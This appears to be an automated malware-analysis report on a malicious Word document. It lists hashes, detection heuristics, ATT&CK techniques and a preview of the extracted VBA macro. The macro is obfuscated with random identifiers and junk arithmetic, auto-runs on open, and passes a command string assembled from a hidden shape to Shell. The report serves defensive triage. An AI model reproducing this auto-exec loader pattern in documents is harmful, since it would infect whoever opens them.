Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 733724cd6ce25ed3…

MALICIOUS

Office (OLE)

128.1 KB Created: 2018-12-07 12:54:00 Authoring application: Microsoft Office Word First seen: 2019-05-10
MD5: 748d15609c87561b0b066861b9d838f1 SHA-1: d16ebbd7393661f3ec59a71739a924ab52ec9fa5 SHA-256: 733724cd6ce25ed3d5e92a3c515662740e27e37106945ce01210b8cb65bdfe60
292 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.003 Windows Command Shell T1204.002 Malicious File

The sample contains VBA macros with an AutoOpen function that triggers a critical Shell() call. This macro attempts to execute cmd.exe with an obfuscated command string, likely to download and run a second-stage payload. The presence of multiple high-severity heuristics related to cmd.exe and PowerShell invocation further supports this malicious intent.

Heuristics 10

  • ClamAV: Doc.Malware.Generic-6775973-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-6775973-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    bXWILJ = Array(nQlzOjjTt, DVLpqjqjY, UvzdNci, Interaction _
.Shell(WivinOVz, hZKlD), LEwwOiU)
         Set IZFbtvmBNvBWEuTOJGI = dicOIRjwEwdlPXwi
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Customizable = True
Sub autoopen()
WDdZSSj
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5564 bytes
SHA-256: 15b918bb9df02b7c534c4433cf2d66be1a340a23158a58031190f5a1c41d0a77
Detection
ClamAV: No threats found
Obfuscation or payload: likely
142 of 177 identifiers look randomly generated (e.g. 'EfqJqctYBjHEphMMMVIQkjqb') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "OjSOlEjANAEw"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub autoopen()
WDdZSSj
End Sub

Attribute VB_Name = "DvmluUCpkhVz"
Function WDdZSSj()
On Error Resume Next
         Set hdZGJLDWIULvSdTiAiKHbM = ERbNcZUHvFOHATOYU
      wFzOTJrkDzDKqKUOVohza = nMPpDVSKlFpVdHRpzSWsVXEl
      DnmwZrWLARkwdFVRs = zUUhMwfrObibQIia / CLng(341970800) * 223503017 / Tan(215689566) + MNSKcphqTNAadLGQ - Cos(305922967) + (149781754 / Int(pThdvdZBcUDFnljzkBK))
         Set sobsDnOqVkrfpLolYr = AmDMLiZFzEYJtUFPN
      whwfEGJqRWpPqvSjUjobPNd = PlwbzLjvbqbJQUizCVNCQ
      OcqNzVblfjEQQTJisGnuo = UIPABqZuAbRfWTlkLNUpLsFz / CLng(30506139) * 96427606 / Tan(264115945) + cGPWvPIhzzUkMkiczk - Cos(319838954) + (274546463 / Int(HuZZwobDQvmCFStLvjHLDnMt))
         Set ZFGLlfHvuwDCQBRwjsKB = iGbqOwQCdBjrIkhFUMRUFC
      oquunwwEzEmrwiVWhrsRwUL = QkrOfshkjOnzUDc
      fzmmWtiazqkdNlu = fmdDEjZEXBKkrVCdOl / CLng(248856729) * 339151405 / Tan(220405855) + kXBRPpIDXuTTThaZCvX - Cos(222958109) + (99403411 / Int(iwjdoGOczvmHBGCnUk))
         Set TnzmRAFjivijVsrp = iSUOoOOYVTWJhzPBlEtOtC
      JsEpQHzqUmfUGZvfYj = wjiZBzPhjnzaujwK
      jYzQYdCWCdJbqZVfjG = aSDsBaNDWMkoKOYwAmzYDf / CLng(24227139) * 337763207 / Tan(134439366) + FtOcvOaGjDfjwqK - Cos(172447982) + (209828177 / Int(RpwMRcVtiinvOEXv))
         Set iJSHtPSCrfzwLC = OUIDLbqfPtffvIsWk
      QVQLCiECZFvHaRi = ZzraRZsiCOOjWtzIOou
      BDRazJCljISOBTisiKqqc = IoTUffFmsmWwbWiRbIWHu / CLng(302844662) * 312766403 / Tan(341584888) + DLHiEwDEPudGidXfzPjrF - Cos(292364053) + (80698228 / Int(MjiUVqOtUmcTwHon))
         Set jImwUZEiuuHDWjPdPs = iMOojuGajjjfzHUpE
      nkchZazljHcsnFIZkKUTFCO = VuLOHwBtLibIoBnopuNwzqwi
      ZWKUlpkVdMiPkdkFih = dAljXjiKoPBfwh / CLng(288125405) * 223665986 / Tan(169208967) + ZZtqmLpJZERdtOIrAWonnoG - Cos(199413631) + (319292671 / Int(bhfhsvKNJHKmNat))
Set ZtLWm = OjSOlEjANAEw.Shapes(GjVtmEk + "vmqwkOcdZuEIt" + PuhjId).TextFrame
         Set JzvzEpoUtXjLlVcWHpQT = stGoziLVjdUCQjjw
      faZDwSBKozkKkpnTRQDoIF = dzNtLJVmsaTJquK
      bEiLlaLvnhizTfHfZSvEkYq = SLrjRfwZHWcjdu / CLng(146932411) * 15742372 / Tan(261912300) + GdbVTNSnkXwGJCOis - Cos(169752814) + (233966106 / Int(dHkJswCYBfwtQSSMYzs))
         Set TGTVSWtqwWKVrTtHON = qmijlmiricbilO
      hzbLmnEVMLjNljJVl = ClilWhjkiLOXsZHc
      tjDaNmRVYFYzIZHpQjcjwc = cCItGpTHGIwPphmozQPwcKm / CLng(147229997) * 251336516 / Tan(49018921) + bpivpRmaYFsKjEzSoLJSI - Cos(196817762) + (311896107 / Int(PjiRRPmHzHsRbNHwCHOj))
WivinOVz = ZtLWm.ContainingRange + uiszKcp + uBfJmVII + LYLjqbE + BPMVJz + ZSbiJiv + hzLhwGQ + DIvzPmB + KiwBWGRZ + FCqQIQuG + hfVMCij + vVNjKM
         Set MHDEWFXZoMYNtia = hiQziHQwVawzaqR
      IdIjjjVQKzdXZbZsU = HEmQWErGjvGazzvJEQVra
      MAmkisXuAGcoiNbsGEsazaJk = fcQWJWdKJsmdlawjouAzKPih / CLng(83094588) * 66989121 / Tan(113182643) + AwmqCmwPGYrjzdZVpOUdtqKf - Cos(61059288) + (252894374 / Int(QuiJzFdKLGwbzbjcQDRwjq))
         Set cNcwzKUlvvtdobrHnhDiLz = qPicTIwIsRELtwjrB
      hcFiVajKlaYwcbivliUhAc = nAMkPzJEpBtiVMMtEtJXWkup
      hzMAWToFcRdJpTMcWiwi = IjZpQorFdDGWGizzDSiFZtuj / CLng(233374711) * 92513219 / Tan(173265085) + vABzHfZOnLFfzAzOWnjkNfSP - Cos(92913296) + (187190598 / Int(PpqGCNtJcBIPaJlJsNC))
         Set zLMnKlFjWSzYWNHuHj = LJnQTuittwbzpopcQIn
      aOPzqflBKBwnfAYKLvtsfrL = uUIkhlrmTrwwtoZnJdirzo
      oPiQVPuMiCdEVXBTZ = MUoCcQXVFjCJUoGD / CLng(130381584) * 138387079 / Tan(18280682) + WWYfPtQjDQHKJjkUdm - Cos(255406322) + (92459295 / Int(zJLJZiowSDjQEoqvImiAnRp))
         Set uvJNEhdbWpscEQQrYrqcRcaQ = iChoCArjSfzawpoUAGclEhh
      hipmYhSUtWVfwnT = AtmkRRZCCHQWwimAVbGYKF
      kNihcTIYMmnlLvwo = EnjQQvWOjVJUhvdvi / CLng(11695978) * 156505666 / Tan(254394784) + witjEjKtaEZnqTXVuTRIS - Cos(296322069) + (330491534 / Int(EfqJqctYBjHEphMMMVIQkjqb))
Const hZKlD = 0
         Set oDTzjlkpWcBuKM = iKEXdSSiOBRcTfOwpobhk
      DCddpEJtbCwcLspJzl = YEwOIRJHfMGjfwPGCu
      dOUVZPjqUVGjoqMLOEoUMfwi = VTRiwlnOAIGEjZzcaplZ / CLng(206251379) * 117753193 / Tan(295746833) + nACNanzSqoDwOMXkSS - Cos(263958231) + (224178387 / Int(HfformpKFBDawrw))
         Set JQuUKLOIhNFHkUtYwBfDESHc = fCvvdIHIijtvEYFrPttCzo
      iJUEkOtqIRjfITNDFzwFl = dtcZLpYOapqTMl
      EWtlskiXswYBpoE = iwijabKDDSuqrppHbuAbFUtP / CLng(335753662) * 148021810 / Tan(240714053) + nnjaVqHVdEicMqhZqnjC - Cos(47654873) + (112236359 / Int(undtOFThDqhQQiTVAhT))
         Set RKFjvjPmtabBiUTC = IjdwmIzjOvIAkLSljfZc
      cIAQWOkPotjQOtFpOfBF = jkGmJOJQwpuaCj
      djQuOTZCZjWRMvUAXWd = XtiNzbzpEpqLNiLiOHrhGijC / CLng(257013894) * 323889020 / Tan(319879038) + dpWDZkDjBCunUkwktK - Cos(26474938) + (225205854 / Int(llQfvopMbaCiiLOSmmdbc))
         Set IwoaPlKbMBFMDjcHVjz = qANiCnwnjNmFcjwmwZGdKzo
      YPTkQdnEdjhIlFXbpXrzOAj = hqJwaVhqMVKnTLXGZh
      vCqAsCfomIodXfACZTr = HzqwQukHdAlajYoRrqRt / CLng(310839771) * 217956017 / Tan(305484261) + XrnITIzmhDUwLukzSXKmW - Cos(91960535) + (326086504 / Int(riLiCzjaEIYYHboUCwsdErFz))
bXWILJ = Array(nQlzOjjTt, DVLpqjqjY, UvzdNci, Interaction _
.Shell(WivinOVz, hZKlD), LEwwOiU)
         Set IZFbtvmBNvBWEuTOJGI = dicOIRjwEwdlPXwi
      tllhtvQJNvhSTviOMui = qTbOozQSPGhvlmQUXijiMEuW
      fkBwXDcTllZJWtwiwuHNljhi = qhKwkmYFPIMPTsDE / CLng(185777229) * 757068 / Tan(9316473) + KBlnDOKnIOzDWojVSXBwAEH - Cos(245687947) + (234911555 / Int(iBDJIjfozpwWsVblw))
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.